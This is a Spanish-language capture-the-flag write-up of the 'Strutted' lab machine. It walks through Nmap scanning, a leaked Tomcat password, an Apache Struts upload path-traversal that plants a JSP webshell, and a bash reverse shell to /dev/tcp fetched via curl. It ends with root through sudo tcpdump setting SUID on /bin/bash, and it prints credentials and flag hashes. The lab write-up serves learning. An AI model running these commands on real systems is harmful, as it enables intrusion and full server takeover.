Strutted
Strutted
Tras realizar una enumeración de puertos con Nmap, observamos que el puerto 22 (SSH) y el puerto 80 (HTTP) están abiertos. El servidor HTTP está ejecutando nginx 1.18.0 en Ubuntu
File: targeted
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ # Nmap 7.95 scan initiated Wed Sep 3 06:12:23 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sC -sV -oN targeted 10.10.11.59
2 │ Nmap scan report for 10.10.11.59
3 │ Host is up (0.12s latency).
4 │
5 │ PORT STATE SERVICE VERSION
6 │ 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
7 │ | ssh-hostkey:
8 │ | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
9 │ |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
10 │ 80/tcp open http nginx 1.18.0 (Ubuntu)
11 │ |_http-server-header: nginx/1.18.0 (Ubuntu)
12 │ |_http-title: Did not follow redirect to http://strutted.htb/
13 │ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
14 │
15 │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
16 │ # Nmap done at Wed Sep 3 06:12:38 2025 -- 1 IP address (1 host up) scanned in 14.85 seconds
Si vamos al apartado de download se nos descarga un ZIP. Vamos a echarle un ojo.
❯ mv ~/Downloads/strutted.zip ./../content
❯ cd ../content
❯ 7z l strutted.zip
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2025-01-07 01:59:33 ..... 615 293 Dockerfile
2025-01-07 01:59:33 ..... 4064 1731 README.md
2025-01-07 01:59:33 ..... 1361 786 context.xml
2025-01-07 01:59:33 D.... 0 0 strutted
2025-01-07 01:59:33 ..... 3999 1013 strutted/pom.xml
2025-01-07 01:59:33 ..... 5810 2222 strutted/mvnw.cmd
2025-01-07 01:59:33 ..... 9113 3030 strutted/mvnw
2025-01-07 01:59:33 D.... 0 0 strutted/src
2025-01-07 01:59:33 D.... 0 0 strutted/src/main
2025-01-07 01:59:33 D.... 0 0 strutted/src/main/webapp
2025-01-07 02:00:20 D.... 0 0 strutted/src/main/webapp/WEB-INF
2025-01-07 02:01:18 ..... 4303 1436 strutted/src/main/webapp/WEB-INF/error.jsp
2025-01-07 01:59:33 ..... 1117 409 strutted/src/main/webapp/WEB-INF/web.xml
2025-01-07 02:01:35 ..... 4285 1402 strutted/src/main/webapp/WEB-INF/showImage.jsp
2025-01-07 02:11:38 ..... 5647 1778 strutted/src/main/webapp/WEB-INF/upload.jsp
2025-01-07 02:01:26 ..... 6125 1853 strutted/src/main/webapp/WEB-INF/how.jsp
2025-01-07 02:01:10 ..... 6616 2208 strutted/src/main/webapp/WEB-INF/about.jsp
2025-01-07 02:01:45 ..... 7120 2059 strutted/src/main/webapp/WEB-INF/success.jsp
2025-01-07 01:59:33 D.... 0 0 strutted/src/main/java
2025-01-07 01:59:33 D.... 0 0 strutted/src/main/java/org
2025-01-07 01:59:33 D.... 0 0 strutted/src/main/java/org/strutted
2025-01-07 02:00:44 D.... 0 0 strutted/src/main/java/org/strutted/htb
2025-01-07 01:59:33 ..... 6656 1823 strutted/src/main/java/org/strutted/htb/Upload.java
2025-01-07 01:59:33 ..... 1832 503 strutted/src/main/java/org/strutted/htb/URLMapping.java
2025-01-07 01:59:33 ..... 199 147 strutted/src/main/java/org/strutted/htb/AboutAction.java
2025-01-07 01:59:33 ..... 1582 630 strutted/src/main/java/org/strutted/htb/DatabaseUtil.java
2025-01-07 01:59:33 ..... 197 147 strutted/src/main/java/org/strutted/htb/HowAction.java
2025-01-07 01:59:33 ..... 1146 443 strutted/src/main/java/org/strutted/htb/URLUtil.java
2025-01-07 01:59:33 D.... 0 0 strutted/src/main/resources
2025-01-07 02:00:54 ..... 2145 678 strutted/src/main/resources/struts.xml
2025-01-07 01:59:33 D.... 0 0 strutted/target
2025-01-07 01:59:33 D.... 0 0 strutted/target/generated-sources
2025-01-07 01:59:33 D.... 0 0 strutted/target/generated-sources/annotations
2025-01-07 01:59:33 D.... 0 0 strutted/target/strutted-1.0.0
2025-01-07 01:59:33 D.... 0 0 strutted/target/strutted-1.0.0/META-INF
2025-01-07 01:59:33 D.... 0 0 strutted/target/strutted-1.0.0/WEB-INF
2025-01-07 01:59:33 ..... 587 346 strutted/target/strutted-1.0.0/WEB-INF/error.jsp
2025-01-07 01:59:33 ..... 1117 409 strutted/target/strutted-1.0.0/WEB-INF/web.xml
2025-01-07 01:59:33 D.... 0 0 strutted/target/strutted-1.0.0/WEB-INF/lib
2025-01-07 01:59:33 ..... 794034 738335 strutted/target/strutted-1.0.0/WEB-INF/lib/javassist-3.29.0-GA.jar
2025-01-07 01:59:33 ..... 14259880 14221392 strutted/target/strutted-1.0.0/WEB-INF/lib/sqlite-jdbc-3.47.1.0.jar
2025-01-07 01:59:33 ..... 632267 573075 strutted/target/strutted-1.0.0/WEB-INF/lib/commons-lang3-3.13.0.jar
2025-01-07 01:59:33 ..... 264823 253389 strutted/target/strutted-1.0.0/WEB-INF/lib/ognl-3.3.4.jar
2025-01-07 01:59:33 ..... 95505 83833 strutted/target/strutted-1.0.0/WEB-INF/lib/javax.servlet-api-4.0.1.jar
2025-01-07 01:59:33 ..... 74132 64158 strutted/target/strutted-1.0.0/WEB-INF/lib/commons-fileupload-1.5.jar
2025-01-07 01:59:33 ..... 238400 215227 strutted/target/strutted-1.0.0/WEB-INF/lib/commons-text-1.10.0.jar
2025-01-07 01:59:33 ..... 313296 282310 strutted/target/strutted-1.0.0/WEB-INF/lib/log4j-api-2.20.0.jar
2025-01-07 01:59:33 ..... 1519233 1360308 strutted/target/strutted-1.0.0/WEB-INF/lib/struts2-core-6.3.0.1.jar
2025-01-07 01:59:33 ..... 1736381 1559626 strutted/target/strutted-1.0.0/WEB-INF/lib/freemarker-2.3.32.jar
2025-01-07 01:59:33 ..... 483954 437052 strutted/target/strutted-1.0.0/WEB-INF/lib/commons-io-2.13.0.jar
2025-01-07 01:59:33 D.... 0 0 strutted/target/strutted-1.0.0/WEB-INF/classes
2025-01-07 01:59:33 ..... 2315 771 strutted/target/strutted-1.0.0/WEB-INF/classes/struts.xml
2025-01-07 01:59:33 D.... 0 0 strutted/target/strutted-1.0.0/WEB-INF/classes/org
2025-01-07 01:59:33 D.... 0 0 strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted
2025-01-07 01:59:33 D.... 0 0 strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/htb
2025-01-07 01:59:33 ..... 454 290 strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/htb/AboutAction.class
2025-01-07 01:59:33 ..... 3276 1589 strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/htb/URLMapping.class
2025-01-07 01:59:33 ..... 1610 847 strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/htb/URLUtil.class
2025-01-07 01:59:33 ..... 7344 3859 strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/htb/Upload.class
2025-01-07 01:59:33 ..... 2899 1606 strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/htb/DatabaseUtil.class
2025-01-07 01:59:33 ..... 448 291 strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/htb/HowAction.class
2025-01-07 01:59:33 ..... 5651 1787 strutted/target/strutted-1.0.0/WEB-INF/upload.jsp
2025-01-07 01:59:33 ..... 6125 1853 strutted/target/strutted-1.0.0/WEB-INF/how.jsp
2025-01-07 01:59:33 ..... 6918 2254 strutted/target/strutted-1.0.0/WEB-INF/about.jsp
2025-01-07 01:59:33 ..... 7120 2059 strutted/target/strutted-1.0.0/WEB-INF/success.jsp
2025-01-07 01:59:33 D.... 0 0 strutted/target/classes
2025-01-07 01:59:33 ..... 2315 771 strutted/target/classes/struts.xml
2025-01-07 01:59:33 D.... 0 0 strutted/target/classes/org
2025-01-07 01:59:33 D.... 0 0 strutted/target/classes/org/strutted
2025-01-07 01:59:33 D.... 0 0 strutted/target/classes/org/strutted/htb
2025-01-07 01:59:33 ..... 454 290 strutted/target/classes/org/strutted/htb/AboutAction.class
2025-01-07 01:59:33 ..... 3276 1589 strutted/target/classes/org/strutted/htb/URLMapping.class
2025-01-07 01:59:33 ..... 1610 847 strutted/target/classes/org/strutted/htb/URLUtil.class
2025-01-07 01:59:33 ..... 7344 3859 strutted/target/classes/org/strutted/htb/Upload.class
2025-01-07 01:59:33 ..... 2899 1606 strutted/target/classes/org/strutted/htb/DatabaseUtil.class
2025-01-07 01:59:33 ..... 448 291 strutted/target/classes/org/strutted/htb/HowAction.class
2025-01-07 01:59:33 D.... 0 0 strutted/target/maven-archiver
2025-01-07 01:59:33 ..... 57 57 strutted/target/maven-archiver/pom.properties
2025-01-07 01:59:33 ..... 19820601 19820617 strutted/target/strutted-1.0.0.war
2025-01-07 01:59:33 D.... 0 0 strutted/target/maven-status
2025-01-07 01:59:33 D.... 0 0 strutted/target/maven-status/maven-compiler-plugin
2025-01-07 01:59:33 D.... 0 0 strutted/target/maven-status/maven-compiler-plugin/compile
2025-01-07 01:59:33 D.... 0 0 strutted/target/maven-status/maven-compiler-plugin/compile/default-compile
2025-01-07 01:59:33 ..... 199 83 strutted/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
2025-01-07 01:59:33 ..... 589 129 strutted/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
2025-01-07 01:59:33 ..... 222 138 tomcat-users.xml
------------------- ----- ------------ ------------ ------------------------
2025-01-07 02:11:38 40371715 39661534 56 files, 30 folders
Al listar el archivo, podemos observar el contenido del ZIP. En él, destacan archivos como tomcat-users.xml, pom.xml y varios archivos JSP en el directorio src/main/webapp/WEB-INF.
Dentro del archivo tomcat-users.xml, donde se suele encontrar combinaciones de usuario, contraseña y roles que suelen estar definidas para acceder a funcionalidades restringidas del servidor Tomcat, como por ejemplo:
-
/manager/html – Panel web para desplegar/administrar apps
-
/host-manager/html – Administración de hosts virtuales
Encontramos una contraseña, que vamos a guardar.
❯ cat tomcat-users.xml
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: tomcat-users.xml
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ <?xml version='1.0' encoding='utf-8'?>
2 │
3 │ <tomcat-users>
4 │ <role rolename="manager-gui"/>
5 │ <role rolename="admin-gui"/>
6 │ <user username="admin" password="skqKY6360z!Y" roles="manager-gui,admin-gui"/>
7 │ </tomcat-users>
El archivo pom.xml revela que el servidor está utilizando Apache Struts 6.3.0, una versión vulnerable a la explotación por CVE-2024-53677
Si buscamos en internet podemos encontrar la vulnerabilidad CVE-2024-56337, que permite enviar datos especialmente manipulados a la aplicación web, y si no está protegida correctamente, esos datos pueden hacer que el servidor ejecute comandos no deseados, dándole al atacante control total del servidor.
Apache Struts usa un interceptor que procesa los campos del formulario como objetos del modelo Java. Cuando subes un archivo, se espera que el nombre del archivo sea un nombre normal (imagen.jpg), pero si tú envías como nombre de archivo algo como ../../webapps/ROOT/rogue.jsp, puedes hacer que el archivo se escriba fuera del directorio permitido, lo que se llama path traversal. Esto te permite subir archivos donde quieras, incluyendo el directorio web raíz, lo que lleva a RCE si subes código .jsp.
El encabezado orgiinal de la solicitud se ve como este :
Para explotar la vulnerabilidad, hay que modificar el valor de name para que empiece con una letra mayúscula, es decir, cambiar name=”upload” por name=”Upload”,además de incluir el parámetro uploadFileName para manipular cómo se maneja el archivo.
Vamos a intentar meter una webshell en jsp.
Ahora podemos intentar ganar acceso al sistema.
Creamos un archivo index.html con un script bash que ejecuta una reverse shell hacia nuestro atacante.
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.111/443 0>&1
Luego, levantamos un servidor HTTP en nuestra máquina local para compartir el script.
python -m http.server 80
Desde la webshell hago curl a mi ip exportando ese contenido para que se guarde en tmp/reverse.
Cuando se encuentre ahi, lo interpreto con bash mientras estoy en escucha con netcat para conseguir la reverse shell.
Recuerdo que teníaa una contraseña del tomcat y la pruebo junto con otra que veo aquí: /etc/tomcat9/tomcat-users.xml
<!--
<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
<user username="robot" password="<must-be-changed>" roles="manager-script"/>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->
</tomcat-users>
Pero no me deja, sin embargo si intento conectarme por ssh, si me deja conectarme.
---------------------------
james@strutted:~$ pwd
/home/james
james@strutted:~$ ls
user.txt
james@strutted:~$ cat user.txt
3d3fa4fd9f0764f9ba7ad4b07e6745b8
james@strutted:~$
james@strutted:~$ sudo -l
Matching Defaults entries for james on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User james may run the following commands on localhost:
(ALL) NOPASSWD: /usr/sbin/tcpdump
el usuario james puede ejecutar tcpdump sin ser root. Si vamos a GTFOBins podemos buscar herramientas que te permitan ejecutar código como root sin necesidad de una contraseña, como tcpdump o herramientas comunes en el sistema.
Como comando pone id pero yo voy a intentar asignar privilegios SUID a la bash. Como comando le pasare lo siguiente:
james@strutted:~$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
james@strutted:~$ COMMAND='chmod u+s /bin/bash'
james@strutted:~$ TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
james@strutted:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
james@strutted:~$ bash -p
bash-5.1#
Este comando tiene como objetivo establecer el bit setuid en el archivo /bin/bash, lo que permite que cualquier usuario que ejecute ese binario lo haga con los privilegios de root.
Normalmente, /bin/bash tiene permisos para que los usuarios lo ejecuten, pero sin privilegios elevados. Sin embargo, al agregar el bit setuid, el comportamiento cambia y el archivo se ejecuta como root sin importar qué usuario lo lance.
---------------------------
bash-5.1# whoami
root
bash-5.1# find / -iname "*root.txt*" 2>/dev/null
/root/root.txt
bash-5.1# cat /root/root.txt
98cc755e628e00442a681acd844b9c97
bash-5.1#